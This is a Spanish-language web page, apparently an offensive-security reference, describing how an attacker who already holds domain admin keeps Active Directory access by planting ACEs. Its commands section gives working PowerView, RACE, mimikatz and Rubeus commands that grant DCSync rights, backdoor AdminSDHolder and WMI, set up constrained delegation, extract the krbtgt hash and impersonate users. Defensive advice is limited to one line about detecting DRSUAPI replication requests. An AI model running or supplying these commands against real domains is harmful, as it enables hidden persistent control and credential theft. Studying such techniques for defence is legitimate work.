Persistencia

Persistencia con ACE en Active Directory

Cómo un atacante con privilegio alto edita los ACE de objetos clave del directorio para conservar acceso al dominio aunque reseteen todas las contraseñas.

Qué es

La persistencia con ACE abusa de los permisos de los objetos de Active Directory. El atacante añade entradas de control de acceso (ACE) a objetos clave del directorio. El acceso queda escrito en los permisos, no en una contraseña, y sobrevive al reseteo de credenciales.

Cómo funciona

Active Directory decide quién puede hacer qué con una lista de permisos (DACL) en cada objeto. Una DACL es un conjunto de ACE, y cada ACE concede un derecho a un principal. El directorio no comprueba cómo llegó ahí una ACE: si dice que una cuenta tiene GenericAll o derechos de replicación, los tiene.

Es una técnica de posexplotación. El atacante ya controla el dominio (Domain Admins o equivalente) y solo quiere quedarse. Los objetivos típicos:

  • El root del dominio: una ACE de replicación (DCSync) deja a una cuenta común sacar cualquier hash, incluido krbtgt.
  • AdminSDHolder: el proceso SDProp copia su DACL sobre los grupos protegidos cada 60 minutos, así que la ACE plantada se reaplica sola.
  • Superficies de acceso remoto (WMI, PSRemoting, registro): editar su descriptor de seguridad concede acceso a un principal sin privilegio.
  • El atributo msDS-AllowedToDelegateTo: prepara la delegación en una cuenta controlada para suplantar a otros usuarios más tarde.

Resetear las contraseñas no borra ninguno de estos accesos.

Diagrama

Comandos

Conceder derechos de DCSync a una cuenta sobre el root del dominio, con PowerView:

Add-DomainObjectAcl -TargetIdentity "DC=<DOMAIN>,DC=<TLD>" -PrincipalIdentity <USER> -Rights DCSync

Añadir una ACE de control total sobre AdminSDHolder, que SDProp reaplica a los grupos protegidos:

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=<DOMAIN>,DC=<TLD>" -PrincipalIdentity <USER> -Rights All

Backdoor del descriptor de seguridad de WMI en un host, con RACE:

Set-RemoteWMI -SamAccountName <USER> -ComputerName <HOST> -Namespace 'root\cimv2' -Verbose

Preparar la delegación en una cuenta controlada, con PowerView:

Set-DomainObject -Identity <USER> -Set @{'msds-allowedtodelegateto'='<SPN>'}
Set-DomainObject -Identity <USER> -XOR @{'useraccountcontrol'=16777216}

Cobrar la ACE de DCSync más tarde para sacar el hash de krbtgt, con mimikatz:

lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

Ejercer la delegación preparada, con Rubeus:

Rubeus.exe s4u /user:<USER> /rc4:<HASH> /impersonateuser:<USER> /msdsspn:<SPN> /ptt

Cómo defenderse

Alerta ante peticiones de replicación (DRSUAPI) que no procedan de un Domain Controller: es la señal de una ACE de DCSync plantada.

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.